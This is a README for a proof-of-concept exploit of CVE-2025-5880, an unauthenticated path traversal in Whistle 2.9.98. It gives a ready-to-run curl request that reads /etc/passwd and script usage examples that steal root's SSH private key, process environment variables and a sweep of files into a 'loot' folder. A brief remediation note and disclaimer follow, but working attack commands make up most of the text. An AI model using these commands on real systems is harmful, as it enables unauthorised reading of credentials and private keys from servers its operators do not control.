CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC

Proof-of-concept exploit for an unauthenticated path traversal vulnerability in Whistle v2.9.98.

Vulnerability Summary

The filename query parameter is not sanitised before being used to open a file on disk, allowing an attacker to escape the intended temp-file directory and read any file that the Whistle process has permission to access (e.g. /etc/passwd, /root/.ssh/id_rsa).

Quick Start

# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
 
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd

Usage

python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
                          [--sweep] [-o OUTPUT] [--save-dir DIR]
                          [--timeout N]

Examples

# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
 
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
 
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
 
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

Raw PoC (curl)

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'

Remediation

Update Whistle to a version that validates and restricts the filename parameter to the intended temp-file directory. Apply allowlist path normalisation (e.g. path.resolve + prefix check) server-side.

Disclaimer

This tool is provided for authorized security testing and educational purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
The author assumes no liability for misuse.